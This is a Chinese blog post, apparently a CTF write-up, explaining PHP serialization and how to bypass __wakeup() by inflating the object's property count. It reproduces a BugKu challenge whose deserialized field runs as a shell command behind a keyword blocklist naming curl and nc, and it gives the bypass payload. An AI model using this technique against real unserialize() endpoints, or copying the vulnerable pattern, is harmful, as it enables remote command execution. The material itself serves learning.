前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP序列化及__wakeup()函数漏洞利用

PHP序列化及__wakeup()函数漏洞利用

作者头像
TenG
发布2020-12-22 14:52:13
9240
发布2020-12-22 14:52:13
举报

前言

本篇文章讲述php序列化和反序列化的知识,写的内容也是参考了一些大佬的文章再加上自己的理解,同时结合我在做题中遇到的题目来叙述,如有错误的地方欢迎大佬们指正。

正文

序列化:将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。 反序列化:就是在适当的时候把这个字符串再转化成原来的对象。

序列化中常见的魔法函数:

代码语言:javascript
复制
__construct()创建对象时调用
__destruct()销毁对象时调用
__toString()把对象转换为字符串,打印一个对象时被调用
__sleep()在序列化前被调用,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组
__wakeup()将在序列化之后立即被调用

先看一下序列化的例子:

代码语言:javascript
复制
class Test{
    public $data;
    private $any;

    public function __construct($data,$any){
        $this->data = $data;
        $this->any = $any;
    }
}

$nubmber = 123;
$str = 'test';
$bool = true;
$arr = array('a' => 1,'b' => 2);
$Object  = new Test("object",true);

var_dump(serialize($nubmber));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($arr));
var_dump(serialize($Object));
================================================================================================
输出结果:
string(6) "i:123;"   i代表数字
string(11) "s:4:"test";"   s代表字符串
string(4) "b:1;"   b代表bool
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"   a代表数组
string(59) "O:4:"Test":2:{s:4:"data";s:6:"object";s:9:" Test any";b:1;}"
O代表对象;4代表类名Test占4个字符;Test:类名;2代表类中有两个属性;s代表字符串;4代表属性长度;data:属性名;
s:6:"object";:属性类型(字符串) 属性值长度 属性值
序列化后的对象的第二个属性跟第一个不一样是因为第二个属性是私有属性,下面会详细讲解

访问控制修饰符 如果访问控制修饰符不同,序列化后的属性长度和属性值也会有所不同

public(共有) protect(受保护) private(私有) protected属性被序列化的时候属性值会变成:%00*%00属性名 private属性被序列化的时候属性值会变成:%00类名%00属性名(可是运行结果用空格代替了%00,这一点我也不清楚,因为%00是ASCII转url编码以后对应的空字符吧,还请大佬解答一下)

绕过 __wakeup() 函数

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

下面结合真题讲解一下,题目为BugKu的Web安慰奖,先看一下题目源码:

代码语言:javascript
复制
<?php

header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
    protected $username = 'hack';
    protected $cmd = 'NULL';
    public function __construct($username,$cmd)
    {
        $this->username = $username;
        $this->cmd = $cmd;
    }
    function __wakeup()
    {
        $this->username = 'guest';
    }

    function __destruct()
    {
        if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
        {
            exit('</br>flag能让你这么容易拿到吗?<br>');
        }
        if ($this->username === 'admin')
        {
           // echo "<br>right!<br>";
            $a = `$this->cmd`;
            var_dump($a);
        }else
        {
            echo "</br>给你个安慰奖吧,hhh!</br>";
            die();
        }
    }
}
    $select = $_GET['code'];
    $res=unserialize(@$select);
?>

可以看出传入的username参数值必须为admin,但是它用wakeup函数重新给参数赋值了guest,这里我们直接跳过wakeup函数就行了。 原本对应的序列化后的对象为:

代码语言:javascript
复制
O:3:"ctf":2:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}

绕过__wakeup()的payload:

代码语言:javascript
复制
O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
#这个题目里面的对象属性是受保护属性,根据对应的规则修改就可以了
因为对象里面只有两个属性,对应的属性个数为2,所以我们只需要需改属性个数值大于2就行了

结语

本人菜鸟一枚,文章中定会有不足之处,还请各位师傅指正,也希望师傅们能解答本文中的疑惑,感谢支持。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-12-19 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
    • 结语
    相关产品与服务
    文件存储
    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档